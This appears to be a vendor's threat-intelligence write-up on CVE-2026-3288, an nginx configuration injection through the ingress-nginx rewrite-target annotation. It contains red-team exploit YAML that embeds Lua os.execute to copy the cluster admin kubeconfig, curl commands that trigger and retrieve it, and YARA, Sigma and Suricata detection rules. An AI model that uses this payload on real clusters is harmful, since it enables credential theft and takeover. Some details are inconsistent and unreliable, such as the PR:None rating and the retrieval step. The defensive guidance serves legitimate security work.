CVE-2026-3288
Executive Summary
CVE-2026-3288 is a critical security vulnerability in the ingress-nginx controller for Kubernetes. The flaw resides in the processing of the nginx.ingress.kubernetes.io/rewrite-target Ingress annotation. An attacker who can create or modify an Ingress resource (or exploit a chain of trust to influence annotation values) can inject arbitrary nginx configuration directives. This injection can lead to remote code execution (RCE) within the ingress-nginx controller pod and, critically, disclosure of all Secrets accessible to the controller. In a default installation, the controller has cluster-wide Secret read access, making this a high-impact credential and data exfiltration vector.
The vulnerability is unpatched at the time of this report, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low current exploitation activity, but the CVSS score of 8.8 (High) and the potential for cluster compromise demand immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a language-specific package (NPM, PyPI, Go, Ruby) but in a core Kubernetes infrastructure component (ingress-nginx). The supply chain risk is indirect: if an attacker compromises a CI/CD pipeline or a Helm chart repository that deploys ingress-nginx, they could introduce a vulnerable version or a malicious configuration that exploits this flaw. Organizations should verify the integrity of their ingress-nginx container images and Helm charts.
CVSS Breakdown & Threat Level
CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions or race conditions are required.
- Privileges Required (PR): None – An attacker does not need prior authentication to exploit this, provided they can create or modify an Ingress resource.
- User Interaction (UI): None – No user action is required.
- Scope (S): Unchanged – The impact is confined to the ingress-nginx controller.
- Confidentiality (C): High – Full disclosure of Secrets accessible to the controller.
- Integrity (I): High – Arbitrary code execution allows full control over the controller.
- Availability (A): High – An attacker can disrupt the controller, causing denial of service.
Threat Level: Critical. The combination of network exploitability, no privileges required, and high impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for any organization using ingress-nginx.
Deep Dive & Mechanics
The ingress-nginx controller dynamically generates nginx configuration files based on Ingress resources. The nginx.ingress.kubernetes.io/rewrite-target annotation is intended to specify a target URI for URL rewriting. However, the controller does not properly sanitize or validate the value of this annotation before inserting it into the nginx configuration template.
An attacker can inject arbitrary nginx directives by crafting a malicious annotation value. For example, a value like $1; location /evil { return 200 "pwned"; } could break out of the intended rewrite context and introduce a new location block. This allows the attacker to:
- Execute arbitrary Lua scripts (if the controller has Lua support enabled).
- Read arbitrary files from the controller's filesystem, including Secrets mounted as files or environment variables.
- Execute system commands via nginx's
ngx_http_lua_moduleor by leveraging the controller's ability to reload configuration. - Exfiltrate Secrets by making them accessible via a crafted HTTP endpoint.
The attack flow:
- Attacker creates or modifies an Ingress resource with a malicious
rewrite-targetannotation. - The ingress-nginx controller picks up the change and regenerates the nginx configuration.
- The injected directives are included in the configuration.
- The controller reloads nginx, activating the malicious configuration.
- Attacker sends a request to the crafted endpoint to trigger code execution or data exfiltration.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely resides in the template rendering logic where the annotation value is directly interpolated into the nginx configuration string.
// Vulnerable: Direct string interpolation
rewriteTarget := annotationValue
config := fmt.Sprintf("rewrite ^ %s;", rewriteTarget)
Patched Code (Expected): A patch would sanitize the annotation value, escaping or rejecting any characters that could break out of the intended context.
// Patched: Sanitize input
rewriteTarget := sanitizeAnnotation(annotationValue)
if !isValidRewriteTarget(rewriteTarget) {
return error("invalid rewrite-target")
}
config := fmt.Sprintf("rewrite ^ %s;", rewriteTarget)
The sanitizeAnnotation function would strip or escape characters like ;, {, }, and newlines. The isValidRewriteTarget function would enforce a strict pattern (e.g., only alphanumeric characters, /, and $ for capture groups).
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable ingress-nginx controller (e.g., version 1.10.0 or earlier) in a Kubernetes cluster.
- Create a namespace and a simple backend service (e.g., an echo server).
- Create an Ingress resource with a malicious
rewrite-targetannotation.
Exploitation Steps:
- Craft the malicious Ingress YAML:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: exploit-ingress
annotations:
nginx.ingress.kubernetes.io/rewrite-target: |
/$1; location /evil { content_by_lua_block { os.execute("cat /etc/kubernetes/admin.conf > /tmp/kubeconfig"); ngx.say("done") } }
spec:
ingressClassName: nginx
rules:
- host: exploit.example.com
http:
paths:
- path: /test(/.*)
pathType: ImplementationSpecific
backend:
service:
name: echo-service
port:
number: 80
- Apply the Ingress:
kubectl apply -f exploit-ingress.yaml - Send a request to trigger the Lua code:
curl -H "Host: exploit.example.com" http://<controller-ip>/test/foo - Retrieve the exfiltrated kubeconfig:
curl http://<controller-ip>/evil
Note: This is a conceptual example. Actual exploitation depends on the specific nginx modules compiled into the controller image.
Blue Team (Defensive)
Detection Steps:
- Monitor Ingress resource creation/modification events for suspicious annotation values.
- Use admission controllers (e.g., OPA/Gatekeeper) to enforce policies on annotation values.
- Audit nginx configuration files generated by the controller for unexpected directives.
- Restrict controller's RBAC permissions to the minimum required (e.g., only read Secrets in specific namespaces).
Hunting Queries:
- Search for Ingress annotations containing
;,{,}, orcontent_by_lua_block. - Monitor for unexpected nginx reloads or configuration changes.
Indicators of Compromise (IOCs)
- Network: HTTP requests to unusual paths like
/evil,/pwned, or paths containing Lua code. - File System: Unexpected files in
/tmp/on the controller pod (e.g.,/tmp/kubeconfig). - Process: Unusual child processes spawned by nginx (e.g.,
curl,wget,bash). - Logs: Nginx error logs showing syntax errors from injected directives.
- Kubernetes Audit: Ingress resources with annotations containing special characters or long strings.
Detection Engineering
YARA Rule
rule CVE_2026_3288_Ingress_Nginx_Rewrite_Target {
meta:
description = "Detects malicious rewrite-target annotation values in Ingress YAML"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-3288"
strings:
$annotation = "nginx.ingress.kubernetes.io/rewrite-target"
$malicious1 = /[$;{}]/
$malicious2 = /content_by_lua_block/
$malicious3 = /os\.execute/
condition:
$annotation and (#malicious1 > 3 or $malicious2 or $malicious3)
}
Sigma Rule
title: Suspicious Ingress Annotation for CVE-2026-3288
id: 8f4a2b1c-3d5e-4f7a-9b1c-2d3e4f5a6b7c
status: experimental
description: Detects Ingress resources with potentially malicious rewrite-target annotations
author: Valters IT
logsource:
product: kubernetes
service: audit
detection:
selection:
verb: ["create", "update", "patch"]
objectRef.resource: "ingresses"
annotations|contains: "nginx.ingress.kubernetes.io/rewrite-target"
condition: selection
falsepositives:
- Legitimate use of complex rewrite rules
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-3288 - Ingress Nginx Rewrite Target Exploitation"; flow:to_server; content:"/evil"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
rewrite-targetannotation if not required, by using an admission webhook to reject Ingress resources with this annotation. - Restrict Ingress creation to trusted users/service accounts only.
- Apply the principle of least privilege to the ingress-nginx controller's RBAC: limit Secret access to only necessary namespaces.
Long-term Fix:
- Monitor the ingress-nginx project for an official patch. Once available, upgrade to the patched version immediately.
- Implement a Web Application Firewall (WAF) in front of the ingress controller to filter malicious requests.
Workaround:
- Use a custom template that sanitizes the
rewrite-targetvalue before insertion into the nginx configuration.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert